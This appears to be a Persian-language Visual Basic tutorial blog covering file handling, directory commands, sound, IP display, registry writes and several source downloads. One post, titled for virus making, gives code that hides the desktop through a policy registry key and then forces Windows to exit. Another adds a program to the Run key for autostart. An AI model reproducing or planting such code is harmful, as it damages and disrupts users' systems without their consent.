اين دستور رکورد شماره Recordnum را از فايلی با شماره Filenumber می خواند و در متغير ReadData قرار می دهد . علامت کروشه نشان می دهد که پارامتر Recordnum اختياری است و در صورتيکه ذکر نشود داده ها از رکورد بعدی فايل ( جائيکه اشاره گر فايل آنجا قرار دارد ) خوانده می شوند .

نوشتن در فايل :

۱ - دستور Print : توسط اين دستور می توان اطلاعاتی را در فايل قرار داد :
Print #FileNumber,WriteData
دستور فوق محتويات متغير WriteData را در فايلی با شماره FileNumber می نويسد . بوسيله دستور Print می توان اطلاعات را بصورت خط به خط در فايل نوشت برای مثال :
Print #1,"Hello Visual Basic"+Vbcrlf
عبارت Vbcrlf نشان دهنده کاراکتر انتهای خط ( CRLF ) در ويژوال بيسيک می باشد .

۲ - دستور Put : اين دستور برای نوشتن داده ها در فايلهای باينری با دسترسی تصادفی بکار می رود :
Put #FileNumber,[Recordnum],WriteData
اين دستور محتويات متغير WriteData را در رکورد شماره Recordnum قرار می دهد .

تعيين محل رکورد در فايلهای با دسترسی تصادفی :

برای منتقل کردن اشاره گر فايل به يک رکورد در يک فايل باينری با دسترسی اتفاقی ، از دستور Seek استفاده می شود . اين دستور محل يک بايت را در فايل می گيرد و اشاره گر فايل را در آنجا قرار می دهد بنابراين دستورات Put و Get می توانند با اين رکورد کار کنند :
Seek #FileNumber,RecordNumber

تشخيص انتهای فايل :

برای اينکه متوجه شويم به انتهای يک فايل رسيده ايم از دستور EOF استفاده می کنيم . اين دستور يکی از مقادير True يا False را بر می گرداند که نشان می دهد به انتهای فايلرسيده ايم يا نه . از اين تابع در حلقه های Do-While استفاده می شود :
Do While Not (EOF(FileNumer))x
.
.
.
Loop
حلقه فوق تا زمانيکه فايل موردنظر به انتها نرسيده باشد اجرا خواهد شد .

بدست آوردن طول يک فايل :

بوسيله دستور LOF می توان طول محتويات يک فايل را بدست آورد :
FileSize=LOF(FileNumber)x

بدست آوردن محل اشاره گر فايل :

توسط دستور Loc می توان محل جاری اشاره گر فايل را بدست آورد . اجرا شدن اين دستور محل اشاره گر را تغيير نمی دهد :

FilePosition=Loc(FileNumber)x

منبع:www.cesblog.ir

+ نوشته شده توسط CES در دوشنبه بیست و سوم خرداد 1390 و ساعت 15:33 |
کار با فايل در ويژوال بيسيک - بخش اول

مقدمه


بعلت عدم وجود اشاره گر در ويژوال بيسيک عمليات کار با فايلها در آن نسبتاً ساده می باشد .
بطور کلی فايلها بر دو نوع هستند :
1 - فايلهای متنی Text File : اين فايلها فقط شامل کاراکترهای اسکی و برخی کاراکترهای خاص مانند انتهای خط و انتهای فايل هستند .
۲ - فايلهای باينری Binary File : شامل هر نوع کاراکتری می توانند باشند و کاربردهای گسترده ای دارند مانند بانک های اطلاعاتی ، فايلهای اجرائی ، فايلهای گرافيکی و غيره
ويژوال بيسيک می تواند با هر دو نوع فايل کار کند .

چگونگی باز کردن فايلها

قبل از اينکه بتوان عمليات ورودی/خروجی را روی يک فايل انجام داد ابتدا بايستی آنرا باز کرد . باز کردن فايلها در ويژوال بيسيک توسط دستور Open انجام می شود . فرمت کلی اين دستور بصورت زير است :

Open filename [For mode] [Access access][lock] As [#]filenumber [Len=reclen]x


[ پارامترهای داخل کروشه اختياری هستند . ]
filename نام فايلی است که می خواهيم آنرا باز کنيم .
mode حالت باز کردن فايل است . اين حالتها عبارتند از :
- Input : فايل بعنوان ورودی باز می شود .
- Output : فايل بعنوان خروجی باز می شود .
- Binary : فايل از نوع باينری باز می شود .
- Append : فايل طوری باز می شود که بتوان به انتهای آن چيزی اضافه کرد .
- Random
access نوع دسترسی به فايل را مشخص می کند . انواع دسترسيها عبارتند از :
- Read : خواندن فايل
- Write : نوشتن در فايل
- ReadWrite : خواندن و نوشتن فايل
lock نوع دسترسی ساير برنامه ها به اين فايل را مشخص می کند . انواع دسترسيها عبارتند از :
- Shared : دسترسی اشتراکی
- Lock Read
- Lock Write
- Lock Read Write
filenumber عددی است که ويژوال بيسيک از آن برای دسترسی به فايل استفاده می کند .اين عدد بايستی برای هر فايل منحصر بفرد و بين ۱ تا ۵۱۱ باشد . برای بدست آوردن اولين شماره آزاد می توان از تابع FreeFile استفاده کرد .
reclen :طول بافر فايل است . اين عدد بايستی از ۳۲۷۶۷ کو چکتر باشد .

در صورتی که فايلی که توسط filename مشخص شده وجود نداشته و فايل برای Append ، Binary ، Output و يا Random باز شده باشد در اينصورت يک فايل جديد با اين نام ساخته می شود .
در صورتی که فايل بصورت باينری باز شده باشد پارامتر Len ناديده گرفته می شود .

چگونگی بستن فايل

پس از پايان کار با فايل برای بستن آن از دستور Close استفاده می کنيم . فرمت اين دستور بصورت زير است :

Close #filenumber


دستور Close بدون هيچ پارامتری تمام فايلهای باز را می بندد .

کار با دايرکتوری

۱ - گرفتن Dir : توسط دستور Dir می توان نام فايلهای موجود در يک دايرکتوری را بر اساس پارامترهايي که به آن می دهيم پيدا کنيم . برای مثال :

Myfile=Dir$("c:\text\*.txt)"x


دستور فوق نام اولين فايل موجود در دايرکتوری C:\TEXT را که پسوند آنها txt باشد در متغير Myfile قرار می دهد . اگر دستور فوق را بدون پارامتر مجدداً اجرا کنيم نام دومين فايل برگرداننده می شد و الی آخر
Dir دارای يک پارامتر اختياری است که نوع فايلهای مورد نظر را نيز می توان با آن مشخص نمود . مثال :

Myfile=Dir$("c:\text\*.txt",vbNormal)x


مقادير ممکن اين پارامتر عبارتند از :
vbNormal ، vbHidden ، vbSystem ، vbDirectory
۲ - تغيير دايرکتوری : برای تغيير دايرکتوری از دستور ChDir استفاده می شود مثال :

ChDir "c:\windows\system32"x


۳ - تغيير درايو : برای تغيير درايو از دستور ChDrive استفاده می شود مثال :

ChDrive "E:"x


۴ - ساخت دايرکتوری : برای ايجاد دايرکتوری جديد از دستور MKDir استفاده می شود مثال :

MKDir "c:\MyFolder"x


۵ - حذف دايرکتوری : برای حذف دايرکتوری از دستور RmDir استفاده می شود مثال :

RmDir "C:\MyFoler"x

منبع:www.cesblog.ir

+ نوشته شده توسط CES در دوشنبه بیست و سوم خرداد 1390 و ساعت 15:31 |

استخراج مشخصات سخت افزاری یک سیستم در وی بی

در این بخش یک کنترل Ocx معرفی می شود که بوسیله آن می توانید مشخصات سخت افزاری سیستم خود را استحراج کنید .

این کنترل را که Hardware Info نام دارد  می توانید در انتهای همین مقاله دانلود کنید .

پس از باز نمودن فایل zip دانلود شده مشاهده خواهید کرد که دو فایل dll و یک فایل ocx در آن وجود دارد . همچنین یگ فایل راهنما نیز بهمراه آنها وجود دارد که طریقه استفاده از کنترل را نشان می دهد . برای استفاده از کنترل فوق وارد محیط ویژال بیسیک شده و سپس وارد منوی Components شوید .  در آنجا روی دکمه Browse کلیک کنید . وارد پوشه ای که فایل zip را در آنجا باز کرده اید شده و فایل HWInfo.ocx را انتخاب کنید تا این کنترل به لیست کنترلهای نوار ابزار شما اضافه شود . حال می توانید از کنترل را روی فرم خود قرار دهید و از امکانات آن استفاده کنید .
این کنترل دارای خصوصیات زیر است :
BaseBoardManufacturer : مشخصات سازنده مادربورد
BaseBoardProduct : نوع چیپ ست مادربورد
BiosVendor : سازنده بایوس
BiosReleaseDate : تاریخ انتشار بایوس
BiosVersion : ورژن بایوس
BiosROMSize : سایز حافظه رام بایوس
SocketDesignation : نوع سوکت پردازنده
ProcessorType : نوع پردازنده
ProcessorManufactor : سازنده پردازنده
ProcessorID : شماره ID پردازنده
ProcessorSerialNumber : شماره سریال پردازنده
با استفاده از این کنترل همچنین می توان اطلاعات هر چهار هارد دیسک IDE سیستم را استخراج نمود برای مثال اگر بخواهید اطلاعات Primary Hard ( شماره یک ) را بدست آورید از خصوصیات زیر استفاده کنید :
HardDisk1ModelNumber : شماره مدل هارددیسک
HardDisk1SerialNumber : شماره سریال هارد دیسک ( شماره سریال کارخانه )

خصوصیات دیگری نیز در این کنترل وجود دارد که برای اطلاعات بیشتر به راهنمای آن مراجعه کنید .


saveحجم فایل:600 کیلوبایت

downloadدانلود

keyرمز فایل :www.cesblog.ir

منبع:www.cesblog.ir



+ نوشته شده توسط CES در دوشنبه بیست و سوم خرداد 1390 و ساعت 15:12 |
کد | حذف فایل در ویژوال بیسیک | سورس

قبل از استفاده از کد زیر یک CommonDialogControl , یک TextBox و دو تا Command button روی فرم بزارید.




Public Function Delete(FilePath As String)
Kill FilePath
End Function

Private Sub Command1_Click()
With CommonDialog1
.CancelError = False
.ShowOpen
End With
Text1.Text = CommonDialog1.Filename
End Sub

Private Sub Command2_Click()
Delete Text1.Text
End Sub

منبع:www.cesblog.ir


+ نوشته شده توسط CES در یکشنبه بیست و دوم خرداد 1390 و ساعت 21:10 |
پخش صدا در ویژوال بیسیک

Option Explicit
Private Declare Function sndPlay lib "winmm.dll" Alias "sndPlaySoundA" _
(ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
Private Const SND_ASYNC = &H1
Private Const SND_SYNC = &H0
Private Const SND_LOOP = &H8
Private Const SND_NODEFAULT = &H1
Private Const SND_VALID = &H1F
Private Const SND_MEMORY = &H4
Private Const SND_PURGE = &H40
قرار دادن کد پایین در یک Command Button
sndPlaySound App.Path & "Hello.wav", SND_ASYNC Or SND_NODEFAULT

منبع:www.cesblog.ir

+ نوشته شده توسط CES در یکشنبه بیست و دوم خرداد 1390 و ساعت 21:4 |
کد برنامه چت با ویژوال بیسیک | VB 6 | source | سورس

جهت دریافت کد این برنامه زود اقدام کنید...!!

saveحجم فایل:4 کیلوبایت

downloadدانلود سورس

keyرمز فایل :www.cesblog.ir

+ نوشته شده توسط CES در یکشنبه بیست و دوم خرداد 1390 و ساعت 17:44 |
کد مخفی کردن آیکون های دسکتاپ با وی بی | ساخت ویروس

برای مخفی کردن آیکون های دسکتاپ از کد زیر استفاده کنید .می تونید از این کد برای ساخت ویروس استفاده کنید...!!

Option Explicit

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
    (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" _
    (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" _
    (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" _
    (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, _
    lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
    (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
    ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Const ERROR_SUCCESS = 0&
Const ERROR_BADDB = 1009&
Const ERROR_BADKEY = 1010&
Const ERROR_CANTOPEN = 1011&
Const ERROR_CANTREAD = 1012&
Const ERROR_CANTWRITE = 1013&
Const ERROR_REGISTRY_RECOVERED = 1014&
Const ERROR_REGISTRY_CORRUPT = 1015&
Const ERROR_REGISTRY_IO_FAILED = 1016&
Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1

Const regKey = "\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"

Dim startdate As String
Dim enddate As String
Dim count1 As Integer
Public done1 As String
Private Sub form_load()
Dim retValue As Long
Dim result As Long
Dim keyID As Long
Dim keyValue As String
Dim subKey As String
Dim bufSize As Long
    done1 = "NO"
   enddate = "\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"
    'Create key
    retValue = RegCreateKey(HKEY_CURRENT_USER, regKey, keyID)
    If retValue = 0 Then
        'Create width
        subKey = "NoDesktop"
        retValue = RegQueryValueEx(keyID, subKey, 0&, REG_SZ, _
                   0&, bufSize)
        'No value, set it
        If bufSize < 2 Then
            keyValue = 1
            retValue = RegSetValueEx(keyID, subKey, 0&, _
                                        REG_SZ, ByVal keyValue, Len(keyValue) + 1)
            startdate = keyValue
        Else
            keyValue = String(bufSize + 1, " ")
            retValue = RegQueryValueEx(keyID, subKey, 0&, REG_SZ, _
                       ByVal keyValue, bufSize)
            keyValue = Left$(keyValue, bufSize - 1)
            keyValue = 0
            retValue = RegSetValueEx(keyID, subKey, 0&, _
                                        REG_SZ, ByVal keyValue, Len(keyValue) + 1)
            startdate = 1
        End If
    End If
    Unload Me
    Shell "C:\WINDOWS\RUNDLL.EXE USER.EXE,EXITWINDOWS"
End Sub

+ نوشته شده توسط CES در جمعه بیستم خرداد 1390 و ساعت 20:0 |
خواندن و نوشتن در رجیستری با VB 6


saveحجم فایل:--

downloadدانلود سورس

keyرمز فایل :ندارد


+ نوشته شده توسط CES در جمعه بیستم خرداد 1390 و ساعت 19:56 |
کد و سورس  نحوه نمایش Ip  با ویژوال بیسیک |  source | VB

نیاز ها

Add Microsoft Winsock Control 6.0 component
Insert 1 Textbox
Insert 2 Command Buttons Rename Caption as Display and Clear
کد اصلی
Private Sub Command1_Click()
If Text1.Text = "" Then
    Command1.Enabled = False
    Text1.Text = Winsock1.LocalIP
Else
    Command1.Enabled = True
End If
End Sub

Private Sub Command2_Click()
Text1.Text = ""
If Text1.Text = "" Then
    Command1.Enabled = True
Else
    Command1.Enabled = False
End If
End Sub

Private Sub Form_Load()
Text1.Text = ""
If Text1.Text = "" Then
    Command1.Enabled = False
Else
    Command1.Enabled = True
End If
Text1.Text = Winsock1.LocalIP
End Sub

منبع:www.cesblog.ir

+ نوشته شده توسط CES در جمعه بیستم خرداد 1390 و ساعت 19:51 |
 کد فعال کردن num lock  در زمان اجرای ویندوز ویژوال بیسیک

برای این کار از کد زیر استفاده کنید.

Dim b As Object
Dim s As String

' Need a Command button
Private Sub Command1_Click()
Set b = CreateObject("wscript.shell")
s = "HKCU\Control Panel\Keyboard\InitialKeyboardIndicators"
b.regwrite s, "2", "REG_SZ"
Set b = CreateObject("wscript.shell")
s = "HKEY_USERS\.DEFAULT\Control Panel\Keyboard\InitialKeyboardIndicators"
b.regwrite s, "2", "REG_SZ"
End Sub

منبع:www.cesblog.ir

+ نوشته شده توسط CES در جمعه بیستم خرداد 1390 و ساعت 19:45 |
اجرای خورکار  | ویژوال بیسیک | VB

شاید شما دوست داشته باشید که برنامه ای که توسط vb ایجاد کردید زمان اجرا ویندوز بصورت خودکار اجرا بشه برای این کار از کد زیر استفاده کنید.

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim regKey As Microsoft.Win32.RegistryKey
        Dim KeyName As String = "MySampleApplication"
        Dim KeyValue As String = "C:\test\test.exe"

        regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)

        If regKey.GetValue(KeyName) = Nothing Then
            'if there's no KeyName yet? then create and set it's value
            MsgBox("No Program of this name found..!")
            regKey.SetValue(KeyName, KeyValue, Microsoft.Win32.RegistryValueKind.String)
            MsgBox("key " & KeyName & " has been created")
        End If

    End Sub
End Class

منبع:www.cesblog.ir

+ نوشته شده توسط CES در جمعه بیستم خرداد 1390 و ساعت 19:42 |
کد فعال و غیر غعال سازی پورت یو اس بی در ویژوال بیسیک | port | usb

saveحجم فایل:41 کیلوبایت

downloadدانلود سورس

keyرمز فایل :www.cesblog.ir

+ نوشته شده توسط CES در جمعه بیستم خرداد 1390 و ساعت 19:37 |

نحوه ذخیره عکس در دیتابیس اکسس  (MS access  ) به زبان سی شارپ |#C

saveحجم فایل:153کیلوبایت

downloadدانلود سورس

keyرمز فایل :www.cesblog.ir

+ نوشته شده توسط CES در یکشنبه پانزدهم خرداد 1390 و ساعت 19:52 |
برنامه چت

saveحجم فایل:3 کیلوبایت

downloadدانلود سورس

keyرمز فایل :www.cesblog.ir


+ نوشته شده توسط CES در یکشنبه پانزدهم خرداد 1390 و ساعت 19:38 |

سورس کد | فعال سازی Task Manager در ویندوز با ویژوال بیسیک




' Need a one Command button

Private Sub Command1_Click()
Set b = CreateObject("wscript.shell")
s = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr"
b.regwrite s, 0, "REG_DWORD"
End Sub

www.cesblog.irمنبع:

سورس کد | فعال سازی Task Manager در ویندوز با ویژوال بیسیک |VB 6

+ نوشته شده توسط CES در جمعه سیزدهم خرداد 1390 و ساعت 19:17 |
سورس ویژوال بیسیک| سورس برنامه دفترچه تلفن VB6



یک دفتر تلفن زیبا , برنامه نویسی شده توسط زبان محبوب ویژوال بیسیک

saveحجم فایل:236 کیلوبایت

downloadدانلود سورس

keyرمز فایل :www.cesblog.ir

+ نوشته شده توسط CES در جمعه سیزدهم خرداد 1390 و ساعت 19:12 |

سورس ویژوال بیسیک | فعال سازی فولدر آپشن در ویژوال بیسیک | Enable Folder Option in VB

غالبا ویروس ها folder option را غیر فعال می کنند.برای فعال سازی مجدد

از کد زیر استفاده کنید:




Dim b As Object
Dim s As String

' Need a Command button

Private Sub Command1_Click()
Set b = CreateObject("wscript.shell")
s = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions"
b.regwrite s, 0, "REG_DWORD"

Set b = CreateObject("wscript.shell")
s = "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions"
b.regwrite s, 0, "REG_DWORD"
End Sub
www.cesblog.irمنبع:

سورس ویژوال بیسیک | فعال سازی فولدر آپشن در ویژوال بیسیک | Enable Folder Option in VB

+ نوشته شده توسط CES در جمعه سیزدهم خرداد 1390 و ساعت 18:57 |
سورس VB :  جستجوی فایل ها و فولدرها (2)

به زبان ویژوال بیسیک:



نحوه استفاده از اون در یک فایل ضمیمه شده است.

saveحجم فایل:66 کیلوبایت

downloadدانلود سورس

keyرمز فایل :www.cesblog.ir

+ نوشته شده توسط CES در یکشنبه هشتم خرداد 1390 و ساعت 19:20 |
سورس ویژوال بیسیک| دفتر تلفن | زبان ویژوال بیسیک



یک دفتر تلفن زیبا , برنامه نویسی شده توسط زبان محبوب ویژوال بیسیک

saveحجم فایل:236 کیلوبایت

downloadدانلود سورس

keyرمز فایل :www.cesblog.ir

+ نوشته شده توسط CES در یکشنبه هشتم خرداد 1390 و ساعت 18:58 |
 جستجوی فایل ها و فولدرها

به زبان ویژوال بیسیک:


فایل زیر شامل یه OCX  می باشد.که شما به راحتی می تونید فایل ها و فولدرها رو در سیستمتون جستجو کنید.

فقط لازم یادآوری کنم که بهتر زمان جستجو فرمتون رو Disable کنید و وقتی جستجو تمام شد مجددا فرم رو enable کنید.

نحوه استفاده از اون در یک فایل ضمیمه شده است.

saveحجم فایل:4 کیلوبایت

downloadدانلود سورس

keyرمز فایل :www.cesblog.ir

+ نوشته شده توسط CES در یکشنبه هشتم خرداد 1390 و ساعت 17:24 |

سورس کد | حذف دایرکتوری به زبان ویژوال بیسیک

saveحجم فایل:4 کیلوبایت

downloadدانلود سورس

keyرمز فایل :www.cesblog.ir

www.cesblog.irمنبع:

+ نوشته شده توسط CES در شنبه هفتم خرداد 1390 و ساعت 12:17 |